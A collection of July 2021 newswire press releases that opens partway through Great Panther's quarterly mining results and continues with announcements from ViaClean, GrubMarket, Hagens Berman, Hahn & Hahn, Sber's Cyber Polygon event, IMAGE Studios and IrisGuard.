Tucano Operating Results Q2 2021 Q2 2020 Change Q2 2021 Q1 2021 Change Total material mined (tonnes) 5,678,601 6,075,380 -7% 5,678,601 6,898,581 -18% Total waste mined (tonnes) 5,466,688 5,651,379 -3% 5,466,688 6,551,115 -17% Ore mined (tonnes) 211,913 424,001 -50% 211,913 347,466 -39% Ore processed (tonnes milled) 873,433 822,638 6% 873,433 796,035 10% Au grade (g/t) 0.81 1.48 -45% 0.81 0.90 -10% Au recovery (%) 88.7% 90.2% -2% 88.7% 88.7% 0% Gold production (oz) 20,284 35,421 -43% 20,284 20,422 -1% Carbon fines recovery 412 - 100% 412 2,574 -84% Total production (oz) 20,696 35,421 -42% 20,696 22,996 -10%

Tucano produced 20,696 Au oz in Q2 2021, a decrease of 42% compared to the second quarter of 2020, primarily due to of the stoppage in ore production from the UCS pit and therefore feeding the plant lower grades from stockpiles and Urucum North.

Plant throughput in the second quarter was 6% higher compared to the same period in 2020, due mainly to a higher amount of oxide material processed this quarter in the absence of sulfide ore from UCS.

Topia

Topia Operating Results Q2 2021 Q2 2020 Change Q2 2021 Q1 2021 Change Ore processed (tonnes) 15,520 7,781 99% 15,520 19,004 -18% Ag grade (g/t) 432 352 23% 432 398 9% Au grade (g/t) 1.07 0.87 23% 1.07 0.87 23% Ag recovery (%) 93.5% 92.5% 1% 93.5% 92.4% 1% Au recovery (%) 60.3% 54.0% 12% 60.3% 55.4% 9% Silver eq production (oz) (1) 312,259 146,128 114% 312,259 363,318 -14% Silver production (ounces) 201,339 81,427 147% 201,339 224,333 -10% Gold production (ounces) 321 118 172% 321 293 10% Lead production (tonnes) 357 163 119% 357 526 -32% Zinc production (tonnes) 478 223 114% 478 619 -23% Gold eq production (oz) (2) 3,674 1,624 126% 3,674 4,274 -14%





(1) Silver equivalent ounces for 2021 were calculated using an 85:1 Ag:Au ratio, and ratios of 1:0.041 and 1:0.049 for the price/ounce of silver to price/pound of lead and zinc, respectively, consistent with the Company's guidance for the year. Silver equivalent ounces for 2020 were calculated using a 90:1 Ag:Au ratio, and ratios of 1:0.058 and 1:0.068 for the price/ounce of silver to price/pound of lead and zinc, respectively, consistent with the Company's guidance for the year. (2) See footnote (1) under the heading Consolidated Operating Results above for information on the calculation of gold equivalent ounces for 2021 and 2020, respectively.

Silver equivalent production at Topia in Q2 2021 was 312,259 Ag eq oz compared with 146,128 Ag eq oz in Q2 2020, an increase of 114%. Note that production in Q2 2020 was impacted by the suspension of mining operations in Mexico for the months of April and May 2020 following a directive of the Mexican Federal Government to mitigate the spread of COVID-19. Silver equivalent production was 14% lower than in Q1 2021 due primarily to lower throughput, partly offset by higher grade and recovery rates for both gold and silver.

Guanajuato Mine Complex

GMC Operating Results Q2 2021 Q2 2020 Change Q2 2021 Q1 2021 Change Ore processed (tonnes) 40,477 16,755 142% 40,477 39,665 2% Ag grade (g/t) 118 133 -11% 118 124 -5% Au grade (g/t) 1.58 1.80 -12% 1.58 1.53 3% Ag recovery (%) 87.4% 85.4% 2% 87.4% 86.1% 2% Au recovery (%) 87.6% 84.7% 3% 87.6% 86.5% 1% Silver eq production (oz) (1) 284,883 134,703 111% 284,883 279,306 2% Silver production (oz) 133,083 61,031 118% 133,083 135,737 -2% Gold production (oz) 1,786 819 118% 1,786 1,689 6% Gold eq production (oz) (2) 3,352 1,497 124% 3,352 3,286 2%





(1) Silver equivalent ounces for 2021 were calculated using an 85:1 Ag:Au ratio, consistent with the Company's guidance for the year. Silver equivalent ounces for 2020 were calculated using a 90:1 Ag:Au ratio, consistent with the Company's guidance for the year. (2) See footnote (1) under the heading Consolidated Operating Results above for information on the calculation of gold equivalent ounces for 2021 and 2020, respectively.

Silver equivalent production at the GMC in Q2 2021 was 284,883 Ag eq oz compared with 134,703 Aq eq oz, an increase of 111% over Q2 2020 as a result of higher throughput and recovery rates for both gold and silver. Note that production in Q2 2020 was impacted by the COVID-19 related shutdown in the months of April and May 2020. Silver equivalent production was 2% higher than in Q1 2021 due primarily to higher throughput, gold grade and recovery rates for both gold and silver.

While the Company continues to wait for approval by the Comision Nacional de Agua ("CONAGUA") to expand the tailings storage facility at the GMC, the Company's technical consultants have determined that there is sufficient tailings capacity to continue milling operations until December 2021. Numerous longer-term solutions are currently being assessed while the Company continues to proactively engage with CONAGUA to expedite the permitting process.

Second Quarter 2021 Financial Results

Great Panther has scheduled the release of its second quarter 2021 financial results for Wednesday, August 4, 2021, after market close. The Company will host a conference call and webcast to discuss the results on Thursday, August 5, 2021, at 9:00 AM PT/12:00 PM ET. Shareholders, analysts, investors and media are invited to join by logging in or calling in to the details below:

Live webcast and registration: https://www.greatpanther.com/investors/webcasts/

Canada and US Toll-Free: + 1 800 319 4610 International Toll: + 1 604 638 5340

A replay of the webcast will be available on the Webcasts section of Great Panther's website approximately one hour after the conference call. Audio replay will be available for four weeks by calling the numbers below using the replay access code 7370.

Canada and US Toll-Free: + 1 800 319 6413 International Toll: + 1 604 638 9010 Replay Access Code: 7370

Technical Disclosure

The technical information contained in this news release has been reviewed and approved by Fernando A. Cornejo, P. Eng., Chief Operating Officer, a non-independent Qualified Person for the purposes of National Instrument 43-101 - Standards of Disclosure for Mineral Projects.

ABOUT GREAT PANTHER

Great Panther is a growing gold and silver producer focused on the Americas. The Company owns a diversified portfolio of assets in Brazil, Mexico, and Peru, including three operating gold and silver mines, four exploration projects, and an advanced development project. Great Panther is actively exploring large land packages in highly prospective districts and is pursuing acquisition opportunities to complement its existing portfolio. Great Panther trades on the Toronto Stock Exchange trading under the symbol GPR, and on the NYSE American under the symbol GPL.

CAUTIONARY STATEMENT ON FORWARD-LOOKING INFORMATION

This news release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995 and forward-looking information within the meaning of Canadian securities laws (together, "forward-looking statements"). Such forward-looking statements may include, but are not limited to, statements regarding: (i) 2021 guidance on production and stripping and the assumptions upon which they rely on; (ii) expectations that production is expected to ramp up quarter-over-quarter for the remainder of the year as mining progresses into sectors with lower strip ratios; (iii) expectations regarding the future impacts of COVID-19 and the Company's ability to continue its operations without interruption should the situation not be as anticipated; and (iv) the Company's plans to pursue acquisition opportunities to complement its existing portfolio.

These forward-looking statements and information reflect the Company's current views with respect to future events and are necessarily based upon a number of assumptions that, while considered reasonable by the Company, are inherently subject to significant operational, business, economic and regulatory uncertainties and contingencies. These assumptions include: continued operations at Tucano in accordance with the Company's mine plan, including the expectations regarding the ongoing geotechnical control/stability of UCS and the Company's ability to successful access the mineralization in the UCS pit without additional costs or interruption; continuation of operations without interruption, additional costs, workforce and supply shortages due to COVID-19 or any other reason; the accuracy of the Company's Mineral Reserve and Mineral Resource estimates and the assumptions upon which they are based; ore grades and recoveries; prices for silver, gold, and base metals remaining as estimated; national and international transportation arrangements to deliver Tucano's gold dore to international refineries continue to remain available, despite inherent risks due to COVID19; international refineries that the Company uses continue to operate and refine the Company's gold dore, and in a timely manner such that the Company is able to realize revenue from the sale of its refined metal in the timeframe anticipated, despite inherent risks due to COVID19; capital, decommissioning and reclamation estimates; prices for energy inputs, labour, materials, supplies and services (including transportation) remaining as estimated; currency exchange rates remaining as estimated, including the Brazilian real to US dollar exchange rate of 5.30 used in the Company's 2021 guidance; all necessary permits, licenses and regulatory approvals for the Company's operations are received in a timely manner and maintained, including the expectations around the Company's ability to receive the permits and regulatory approvals necessary for an expansion of the existing GMC tailings storage facility (lifts 18 and 19) in a timely manner and without conditions in order to prevent an interruption to milling operations at the GMC; the accuracy of the geological, operational and price and exchange rate assumptions on which the production guidance is based; operations not being disrupted by issues such as pit-wall failures or instability, mechanical failures, labour disturbances or workforce shortages, illegal occupations or mining, seismic events, and adverse weather condition; assumption that the Company will be successful in resolving the legal claims that ban the use of cyanide in the Tucano processing; conditions in the financial markets; the ability to procure equipment and operating supplies and that there are no material unanticipated variations in the cost or availability of energy or supplies; and the Company's ability to comply with environmental, health and safety laws. The foregoing list of assumptions is not exhaustive. These forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause the actual results, performance or achievements expressed or implied by such forward-looking statements to be materially different. Such factors include, among others, risks and uncertainties relating to potential political, regulatory, and social risks involving Great Panther's operations in a foreign jurisdiction; potential of further instability or failure of walls of the UCS pit, which compromises a material part of the Mineral Reserves being accessed in 2021, there is no assurance that the Company will be able to continue mining and be able to access the UCS Mineral Reserves which may adversely impact the Company's Mineral Reserve estimates, production guidance and future revenues, including the potential risk that the Mineral Reserves at UCS may not be accessible at all or that access may be dependent on further remedial work that might interrupt operations; developments with respect to COVID-19 that may impact the Company's operations, including potential for further workforce and supply shortages, or future orders of federal governments to curtail or cease mining operations or voluntary shutdowns, including the risk that ongoing oxygen supply shortages in purchased oxygen supply may decrease recovery rates; the inherent risk that estimates of Mineral Reserves and Resources may not be accurate or that the assumptions upon which they are based are different than expected and accordingly that mine production will not be as estimated or predicted; the discontinuity of the Tucano ore body and mine selectivity may result in a risk that dilution and mining recovery estimates used in the Mineral Reserve estimation do not accurately reconcile with the Company's ability to recover the tonnage, grade and metal content estimated in the Mineral Reserves; as the Company's mines, including, but not limited to its Mexican operations, do not have established Mineral Reserves, except for Tucano and the Company may extend mine operations by mining material at Tucano that is classified as a Mineral Resource without completing a feasibility study demonstrating economic or technical viability, the Company faces higher risks that anticipated rates of production/recovery or estimates of costs will not be achieved; litigation risk, including a risk that the use of cyanide would be banned in respect of Tucano's operations causing Tucano to have to cease operations if an alternative to cyanide treatment cannot be identified and implemented in a cost-effective way (of which there is no assurance); the potential for unexpected costs and expenses; fluctuations in metal prices; fluctuations in currency exchange rates; physical risks inherent in mining operations (including pit wall collapses, tailings storage facility failures, environmental accidents and hazards, industrial accidents, equipment breakdown, unusual or unexpected geological or structural formations, cave-ins, flooding and severe weather); the inability to operate the Topia Phase II tailings storage facility as planned, or to commence stacking at Topia Phase III when Phase II tailings storage facility is no longer available; there is no assurance that the Company will be able to identify or complete acquisition opportunities and other risks and uncertainties, including those described in respect of Great Panther, in its annual information form for the year ended December 31, 2020 and material change reports filed with the Canadian Securities Administrators available at www.sedar.com and reports on Form 40-F and Form 6-K filed with the Securities and Exchange Commission and available at www.sec.gov. There is no assurance that such forward-looking statements will prove accurate; results may vary materially from such forward-looking statements. Readers are cautioned not to place undue reliance on forward-looking statements. The Company has no intention to update forward-looking statements except as required by law.

SOURCE Great Panther Mining Limited

Related Links

www.greatpanther.com


PHILADELPHIA, July 14, 2021 /PRNewswire/ -- ViaClean Technologies, LLC, a Philadelphia-based biotech company, jointly with its distributor and business development partner, Bizos Cavallo Enterprises LLC of Dallas, TX, and their partner,V-Clean Technologies S.A. of Athens, Greece, jointly announced the country of Greece's approval for the use of BIOPROTECT RTU on porous and non-porous surfaces in the fight against SARS-CoV-2. Greece has recognized BIOPROTECTTM RTU as inhibiting the growth of harmful bacteria and viruses, including SARS-CoV-2 (COVID virus), on surfaces for up to 90 days.



Having accepted and recognized the antimicrobial surface efficacy of BIOPROTECT RTU, Greece's National Organization of Medicines () has approved the unrestricted consumer use of BIOPROTECT RTU to inhibit the growth of SARS-CoV-2 and other harmful viruses, bacteria, mold, and mildew, on treated surfaces. This innovative technology has proven to be effective for up to 90 days and has been applied in various public and private environments in Greece, including medical facilities, mass transit, education, commercial facilities, and more.

"ViaClean has been committed to supporting the reopening of Europe throughout the past year, hoping to instill a sense of normality as people navigate these unprecedented times," said ViaClean President and CEO, Greg Tipsord. "With Greece's adoption of BIOPROTECTTM RTU antimicrobial surface protectant, which inhibits the growth of SARS-CoV-2 and other harmful viruses and bacteria on surfaces, we believe Greece will benefit from this proven technology and strengthen their commitment to reach pre-pandemic levels of normalcy for their citizens. We've delivered an effective antimicrobial surface protectant solution that supports our mission of continued research, innovation, and dedication on a global scale."



"At V-Clean Technologies S.A., we have further cemented our commitment to Greece and the ongoing safety of our fellow citizens and visitors through our commitment to bringing innovative, patented technologies to our country to reduce the presence of bacteria, germs, fungi, algae, and other problematic micro-organisms including SARS CoV-2" said Panos Sofianos, President of V-Clean. "We thank the Greek government, and specifically the Ministry of Health and the National Organisation for Medicines (), our joint-venture distribution partner, Bizos Cavallo Enterprises and of course, ViaClean Technologies, for their rigor, diligence, and support throughout this process."

In Greece and in other European Member States, where regulatory approvals are pending, the unique non-leaching and non-volatile BIOPROTECTTM RTU formula has proven to be effective at killing harmful microbes and reducing odors for up to 90 days on various surfaces. "We are fortunate and thrilled to have partnered with both V-Clean Technologies and ViaClean Technologies by facilitating the approval process and distribution of BIOPROTECTTM RTU antimicrobial surface protectant for Greece," said Elvin Thibodeaux, Managing Partner of Bizos Cavallo Enterprises. "Our continued efforts will supply this innovative technology exclusively to additional markets, including the European Union and Balkan Peninsula, Russia and more, that are pursuing dynamic relief from the effects of the pandemic over the past 18 months."

In the United States, ViaClean markets the BIOPROTECTUs System, which uses patented, registered technologies: SmartTouch, a List N disinfectant, to disinfect surfaces against viruses, bacteria, and germs, and BIOPROTECT RTU antimicrobial surface protectant, to keep surfaces free of odor- and stain-causing bacteria, fungi (mold and mildew), and algae between cleanings, for up to 90 days (3 months). In the United States, however, BIOPROTECT RTU is not currently approved or available for use against the SARS-CoV2 virus, other viruses, harmful bacteria, or any other harmful microorganisms.

Additional products offered from ViaClean and Bizos Cavallo in the United States, and pending approval in Greece, include the registered BIOPROTECT 500 concentrate, registered BIOPROTECTTM D disinfectant, and registered BIOPROTECT Hydrating Hand Sanitizer. For more information on ViaClean Technologies and The BIOPROTECTUs System, please visit https://bioprotect.us. For information on the aforementioned markets or sales with Bizos Cavallo Enterprises, visit www.bizoscavallo.com.

About ViaClean Technologies. LLC

ViaClean Technologies LLC is a biotech company that develops, manufactures, and markets groundbreaking, innovative antimicrobial solutions using environmentally responsible manufacturing processes. ViaClean Technologies' pioneering and proprietary technologies, products, and services provide disinfectants, antimicrobial protectants, and hand sanitizers for commercial and consumer use. ViaClean Technologies' primary mission is to market these advanced antimicrobial formulations to critical industries, manufacturing the registered formulations using environmentally responsible processes. For more information, visit the ViaClean website (https://bioprotect.us/).

About V-Clean Technologies, S.A.

V-Clean Technologies S.A. is a biotechnology firm based in Athens, Greece that is focused on developing and marketing cutting edge technologies, products and services to meet the challenges and opportunities in Europe, Russia and the Middle East. In conjunction with our pharmaceutical affiliates and partners we strive for innovative and environmentally responsible solutions in an ever-changing marketplace. Having created a strong and sustainable network of strategic partners throughout these regions, we are able to be proactive and effective in providing services ranging from manufacturing, sourcing, logistics and regulatory advisory. For more information about V-Clean Technologies S.A. please visit our website (www.virusclean.gr).

About Bizos Cavallo Enterprises, LLC

Bizos Cavallo Enterprises, LLC is a strategic consulting and operations firm focused on emerging bioscience innovations for public health, strategic alliances, and global investment resources based in Dallas, TX, with offices in New Orleans, LA, and Winston-Salem, NC. In addition, Bizos Cavallo owns the subsidiary, BP&D International, LLC, a global leader in the procurement and the export of premium cultural commodities, including bulk grains, animal proteins, and their respective derivatives. Founded in 2017, Bizos Cavallo's network includes partners and a host of strategic alliances in the United States, Greece, China, South Korea, Japan, Singapore, Dubai, France, Brazil, the West Indies and trade operations in the United Kingdom. For more about Bizos Cavallo, visit the Bizos Cavallo Enterprises website ( www.bizoscavallo.com) .

SOURCE ViaClean Technologies

Related Links

https://bioprotect.us


SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- GrubMarket today announced it has completed the acquisition of Pacific Farm Management ("PFM"), a full-service farm management services company  one of the largest providers of agricultural employment (payroll) and workers compensation insurance services in California with additional footprint in Oregon and Arizona.

PFM is based out of Madera, California and was brought together by many former entrepreneurs who acknowledged a lack of sophistication in the agricultural employment industry. PFM team is composed of experienced field personnel, financial leaders, safety compliance officers, and a human resources team. With over 2,500 year-round employees and 3,500 at peak, PFM covers a spectrum of crops and provides full-service farm labor, temporary / seasonal staffing as well as outsourced payroll and personnel services to farms across California, Oregon and Arizona. In addition, PFM provides pesticide application and field development services, planting over 10,000 acres of nut crops and vines every year and even manages entire farms for its clients. The breadth and depth of its capabilities allows PFM to offer services unmatched by any competitor. After the acquisition, the business will continue to be managed by its current leadership team.

"We are excited to join the GrubMarket team and welcome the opportunities brought forth by GrubMarket's robust technology platform and network. We are constantly striving for the best client service and committed to improving farm management experiences by utilizing software, innovative business models and creative solutions to generate savings for our clients. We are thrilled to learn that GrubMarket shares this same mission. We sincerely look forward to joining the GrubMarket Team and bringing Pacific Farm Management to the next level of success." said Ahmed Alamari, CEO of Pacific Farm Management.

According to Mike Xu, CEO of GrubMarket: "The employment landscape in California's agricultural sector has changed dramatically over the past 5 years. Labor is not only a critical component in agricultural, but also oftentimes the costliest. The PFM team has successfully captured opportunities in this changing landscape by investing considerable time and resources to create unique programs for its client's operations and became a leader in California. Since its inception in 2014, PFM has experienced exponential growth while maintaining sustainability. This acquisition enables GrubMarket to further deepen its software domain knowledge in the areas of staffing, payroll and insurance, and broaden the capabilities supported by our software. It will also significantly strengthen GrubMarket's connection and sourcing network with farms on the West Coast. We are excited to welcome the Pacific Farm Management team to the GrubMarket family. Together, we will build a greater customer base and a stronger farmer network in the food ecosystem of California and beyond."

About GrubMarket

Founded in 2014, GrubMarket is a San Francisco-based food technology company operating in the space of food ecommerce both to business and to consumer as well as providing related software-as-a-service solutions to solve inefficiencies in the American food supply chain. Currently, GrubMarket operates in California, Washington, Texas, Michigan, New York, New Jersey, Missouri, Massachusetts, Oregon and Arizona, with plans to expand to other parts of the country.

For Media Inquiries:

GrubMarket Media Team

[email protected]

(510) 556-4786

GrubMarket

1925 Jerrold Ave.

San Francisco, CA. 94124

SOURCE GrubMarket

Related Links

http://www.grubmarket.com


SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- Hagens Berman urges Full Truck Alliance (NYSE: YMM) investors with significant losses to submit your losses now. A securities class action lawsuit has been filed that relates to the company's IPO issuance of 82.5 million American Depositary Shares at $19/ADS. Certain investors who invested in Full Truck Alliance ADRs pursuant or traceable to the company's IPO may have valuable claims.

Class Period: June 19, 2021  July 12, 2021

Lead Plaintiff Deadline: Sept. 10, 2021

Visit: www.hbsslaw.com/investor-fraud/YMM

Contact An Attorney Now: [email protected]

844-916-0895

Full Truck Alliance Co. Ltd. (YMM) Securities Class Action:

According to the lawsuit, the company's IPO materials contained misleading statements about the risks that (1) Full Truck Alliance's Yunmanman and Huochebang apps would face an imminent cybersecurity review by the Cyberspace Administration of China ("CAC"), (2) the CAC would require the company to suspend new user registrations, and (3) the CAC would require First Truck Alliance to conduct a comprehensive review of any cybersecurity risks and remediate its systems and technologies as necessary.

Within a month of closing the IPO, investors began to learn the truth.

On July 5, 2021, Full Truck Alliance announced the CAC commenced a cybersecurity review of the Yunmanman and Huochebang apps and required the company to conduct a comprehensive review of cybersecurity risks, remediate deficiencies, and suspend new user registrations in China.

This news sent the price of Full Truck Alliance ADRs crashing lower on July 6, 2021.

"We're focused on investors' losses and proving Full Truck Alliance and senior management knew of the Chinese regulators' demands but nonetheless rushed to market without first satisfying those demands," said Reed Kathrein, the Hagens Berman partner leading the investigation.

If you are a Full Truck Alliance investor and have significant losses, or have knowledge that may assist the firm's investigation, click here to discuss your legal rights with Hagens Berman.

Whistleblowers: Persons with non-public information regarding Full Truck Alliance should consider their options to help in the investigation or take advantage of the SEC Whistleblower program. Under the new program, whistleblowers who provide original information may receive rewards totaling up to 30 percent of any successful recovery made by the SEC. For more information, call Reed Kathrein at 844-916-0895 or email [email protected].

About Hagens Berman

Hagens Berman is a national law firm with eight offices in eight cities around the country and over eighty attorneys. The firm represents investors, whistleblowers, workers and consumers in complex litigation. More about the firm and its successes is located at hbsslaw.com. For the latest news visit our newsroom or follow us on Twitter at @classactionlaw.

Contact:

Reed Kathrein, 844-916-0895

SOURCE Hagens Berman Sobol Shapiro LLP

Related Links

https://www.hbsslaw.com


PASADENA, Calif., July 14, 2021 /PRNewswire/ -- Southern California-based law firm Hahn & Hahn announced today that D. Jason Lyon and Dean G. Rallis Jr. have been recognized for their accomplishments as leading attorneys within the Los Angeles business community and named to the Los Angeles Business Journal's annual list "2021 Leaders of Influence: Litigators & Trial Lawyers." The publication writes litigators are a special breed of attorney "that needs to transcend expert comprehension of the legal system." The feature, published today, includes the very best litigators and trial attorneys in the region who "go to the proverbial mat to fight for their clients before judges and jury."

"Jason and Dean are both exceptional problem solvers and leaders in the legal and business communities," said the firm's Managing Partner Christianne Kerns. "This recognition is highly deserved and reflects both of their commitment to client advocacy and service."

As a partner in the firm, Lyon's practice focuses on commercial litigation involving complex financial matters and intricate fact patterns. "Among his recent matters has been his work bringing claims on behalf of a large national medical billing provider against a competitor and former employees for misappropriation of trade secrets and related claims," says the feature. "The case was favorably resolved before trial. He also defended against alleged breach of contract, business tort, and extortion claims for a client in the medical industry; and is successfully defending multiple anti-SLAPP motions against a cross-complainant in a commercial matter involving and currently defending appeals. He is also currently bringing a seven-figure direct and derivative claims for fraud and theft by management in a closely held meat processing company." Prior to joining Hahn & Hahn, Lyon was an associate with Latham & Watkins, practicing in the Complex Commercial Litigation and Securities Litigation groups. In 2020, Los Angeles Business Journal named Lyon one of Los Angeles County's Top Minority Attorneys.

For more than 35 years, Rallis has focused his practice in the areas of business reorganization, corporate insolvency, commercial and bankruptcy litigation, commercial transactions, as well as the acquisition of assets and businesses in bankruptcy court and out-of-court workouts. "He recently represented class representatives in connection with an approximate $10 million class claim against the debtor, Galileo Learning, which held the largest unsecured claim in the case," the publication says. "Rallis negotiated the terms of a settlement agreement and plan of reorganization resulting in the full payment of the claim." He has functioned as lead counsel for secured creditors, debtors, creditors' committees and purchasers in the bankruptcy, restructuring and liquidation of companies. Rallis has extensive experience in real estate, business and commercial transactions and workouts, manufacturing, retail, healthcare and transportation industries.

Hahn & Hahn LLP has been an active member of the Southern California business and legal communities since 1899. The firm represents entrepreneurs, innovators, business owners, family offices and charitable organizations in their corporate, real estate, employment, estate planning and family law issues and in litigation. For more information visit https://www.hahnlawyers.com/

SOURCE Hahn & Hahn LLP

Related Links

https://www.hahnlawyers.com


MOSCOW, July 14, 2021 /PRNewswire/ -- On June 9, 2021, the III annual international online training event Cyber Polygon took place.

Cyber Polygon is an initiative by strategic digital risk management company BI.ZONE, part of Sber's ecosystem, with support from the World Economic Forum (WEF) Centre for Cybersecurity and INTERPOL.

The training event consisted of two parallel tracks: an online conference for a wide audience, which was joined by over 7 million viewers from 78 countries, and a practical segment for cybersecurity experts, which gathered 200 organizations from 48 countries.

The participants of the conference were Sberbank CEO and Chairman of the Executive Board Herman Gref, inventor and Apple co-founder Steve Wozniak, President of the International Committee of the Red Cross Peter Maurer, INTERPOL Secretary-General Jurgen Stock, President of Mastercard Europe Mark Barnett, and Deputy Governor of the Bank of Russia Alexey Zabotkin, alongside other representatives of global organizations. Founder and Executive Chairman of the World Economic Forum Klaus Martin Schwab was the event's special guest. Prime Minister of the Russian Federation Mikhail Mishustin addressed the participants. There has also been a remote interview with Russian astronauts Oleg Novitsky and Pyotr Dubrov, who were joining in from the ISS.

200 organizations took part in the technical training event, including major financial and technological companies and representatives of public institutions, law enforcement agencies, telecommunications and energy organizations, and a variety of other sectors. The training focused on deflecting targeted supply chain attacks within a corporate ecosystem.

Herman Gref, CEO and Chairman of the Executive Board of Sberbank, said: "It is the second year in a row that we have gathered online to address the opportunities and challenges that technological progress makes us face. Cybersecurity is still among the most vital items on the global community's agenda. Our world has changed, and we are adapting to this new reality. Ecosystems are a new trend for business and state, and they can be found almost anywhere. Their sustainability and resilience will be determining the safety and security of our future for years to come".

During the event, Herman Gref and Steve Wozniak discussed safe, sustainable evolution of ecosystems. They spoke about ecosystem regulation. Wozniak believes that it should be balanced and not prohibitive. Companies have the right to earn money, but all good solutions should be based on the truth.

Stanislav Kuznetsov, Deputy Chairman of the Sberbank Executive Board, and Henrietta H. Fore, Executive Director at UNICEF discussed how to fight cyberbullying.

During the live stream with the ISS, Stanislav Kuznetsov talked to Russian astronauts who spoke about how technology helps them in their ISS work, how international space cooperation evolves, and how even astronauts encounter online scam attempts.

Other topics on the agenda were how states change through technological progress, what role business plays in it, and what measures are being taken to protect citizens around the world; the prospects and risks of digital currencies and the impact of new methods of payment on the traditional financial system; steps that need to be taken to reinforce the international collaboration against cybercrime; resilient supply chains; the role Interpol plays in combating global cybercrime; the role of the Red Cross in creating a safe cyber space; and how to protect users in the global digital space considering the interests of all parties  countries, businesses and people.

Stanislav Kuznetsov, Deputy Chairman of the Executive Board of Sberbank, said: "For the third year in a row, Cyber Polygon has united top tier speakers from government agencies and major international organizations, cybersecurity and technical experts from across the world. We have talked about the opportunities and risks of technological development, discussed digital currency security, and the future of a digital state. I find it particularly important that we have also addressed the issue of protecting children in cyberspace. Our live stream has been joined by over seven million viewers from 78 countries. We all did a great job at the event. I would like to thank everyone for their contribution to our secure future".

Recordings of the expert presentations and scenario breakdowns are available on Cyber Polygon's official website.

SOURCE Sber
DENVER, July 14, 2021 /PRNewswire/ --IMAGE Studios, the luxury leader in the salon and spa coworking space, has opened their first location in the Mile High City! IMAGE is building 9 locations in and around Denver, housing turnkey salon suites for beauty, health, and wellness entrepreneurs. This model empowers the growth of small businesses in the ever-expanding $63 billion beauty industry.

Arvada MAGE Owner, Niki Henriks, commented, "IMAGE Studios is the best in coworking salon suites. We set the highest standard for design and support for our professionals, and I am so excited to be part of this journey! Our salon in Arvada will be a benchmark for cutting edge design." Arvada is a suburb nestled in the north-west corner of Denver that is home to around 120,000 people. IMAGE is thrilled to get its Colorado start in this flourishing community.

"2021 is another monumental year for IMAGE as we open our first locations in Denver. Colorado is booming and we are developing across the state with an incredible team of IMAGE Owners and professionals." says Jason Olsen, CEO at IMAGE Studios. "Over the next 10 years we expect the Colorado market to be one of our larger areas of development as the demand for our luxury coworking salon and spa suites continues to thrive.

There are currently 103 IMAGE Studios Salon Suites in development throughout the US and this number increases month over month. IMAGE Studios is an exclusive salon suite that creates modern, high-end salon spaces at affordable rates for salon professionals - this makes it possible for professionals to become successful entrepreneurs. IMAGE Studios provides a unique opportunity by bringing together like-minded professionals and the guidance of mentors invested in the success of their business owners.

"We are proud to provide further support for our professionals by launching the IMAGE Pro Business Program this year. This is a series of live, virtual workshops that guide IMAGE Pros through crucial business practices in operating a financially-secure business. We are obsessed with elevating the beauty industry to new heights and our IMAGE Pros are our highest priority in everything that we do," comments Jason. "We will continue to invest heavily in the future of our IMAGE Professionals, which not only helps them open their own business successfully, but also with ease. We're excited to welcome thousands of beauty entrepreneurs to IMAGE Studios"

SOURCE Image Studios

Related Links

http://www.imagestudios360.com


Under the Tech4Good category the award was presented live by Mats Granryd, Director General of the GSMA. As IrisGuard are a long-term supporter and practitioner of five of the main UN SDGs, this was particularly meaningful as it was he who led the mobile industry in becoming the first sector to broadly commit to the United Nations Sustainable Development Goals (SDGs) in 2016 and is now spearheading initiatives to accelerate the mobile industry's impact in all 17 of the SDGs.

Making the final 5 shortlist, IrisGuard was judged against strong contenders including Asiacell in Iraq, and, SK Telecom and the Korean Red Cross. The Judges had this to say about our win "An effective technology and good solution, particularly for a refugee community, but with many other potential humanitarian applications."

The GSMA's CEO, John Hoffman commented, "Congratulations to all the winners and nominees of the GSMA's GLOMO Awards 2021. You truly embody the theme of this year's event, Connected Impact. Given the particularly challenging circumstances we've all faced over the last 15 months, it's more important than ever to come together to recognise the incredible innovation and ingenuity shaping our industry, as well as the positive impact this is making on the world around us."

For IrisGuard, the deployment of usage this award recognises started in 2019. Building upon our EyeCloud back-end services the EyePay Phone allowed humanitarian support to be delivered daily direct to the point of need whilst still maintaining safe contactless practices and providing iris biometric proof-of-life. Donor accountability and personal entitlement was protected and there was no requirement to use any other form of ID documents or cards, which can often be lost or fraudulently used. Currently utilized by nearly 40 UN agencies and NGOs in partnership with banks, post offices, mobile wallets and national ID schemes, our systems provide a targeted financial platform for regular distribution of aid, pensions, social welfare and ever more increasingly, cash assistance.

Our latest innovations have allowed not just un-interrupted supply during Covid lockdown but expansion of the service into homes and greater local support. Over 2.7 million people, who had no other means of receiving access to aid in cash and food continue to receive support during this current pandemic.

Simon Reed, Deputy Director of IrisGuard commented on the win, "The strategic introduction of the unique iris EyePay Phone in 2019 dramatically increased the ability to serve more refugees and people in need quickly and efficiently. Winning this award as a true Tech4Good deployment makes me extremely proud personally and for the whole team at IrisGuard."

About IrisGuard

IrisGuard are the world leader in iris recognition payment services, providing a secure and scalable system for targeted transfer of assistance payments, EMRs management or border control. Their powerful technology authenticates transactions without any other ID, ensuring 100% accurate proof-of-life in real time on a one-to-many basis. They've been leading the way in this sector for the past 20 years.

UK based iris recognition and payment technology company operating in 11 countries and a trusted long-term partner of the UNHCR, WFP, UN Women, NGOs and retail banks. An associate member of the GSMA, mobile phone developer and a vanguard member of the Million Lives Club , also members of CaLP (Cash Learning Partnership).

Their products and services are driving financial assistance for millions of unbanked who are now able to receive cash from ATMs and mobile cash-out agents , buy their food in supermarkets and receive their regular pension payments using solely their eyes as a proof of life. They have integrated with the world's largest Blockchain for humanitarian aid Building Blocks . whilst able to operate in challenging environments with poor connectivity requiring one-time only registration, empowering financial inclusion and gender equality of vulnerable people without bank accounts.

About GSMA

The GSMA represents the interests of mobile operators worldwide, uniting more than 750 operators with almost 400 companies in the broader mobile ecosystem, including handset and device makers, software companies, equipment providers and internet companies, as well as organisations in adjacent industry sectors. The GSMA also produces the industry-leading MWC events held annually in Barcelona, Los Angeles and Shanghai, as well as the Mobile 360 Series of regional conferences.

For more information on IrisGuard , please visit www.irisguard.com

, please visit www.irisguard.com For more information on the GSMA awards ceremony please click here and click here

Images of our products and services are available on request

Interview with Imad Malhas , CEO or Simon Reed , Deputy Director also available upon request

Media contact:

Eva Mowbray

Director of Marketing & Global Partnerships

IrisGuard UK Ltd

E: [email protected]

Video: https://www.youtube.com/watch?v=dq14s4gAyKQ

SOURCE IrisGuard UK Ltd
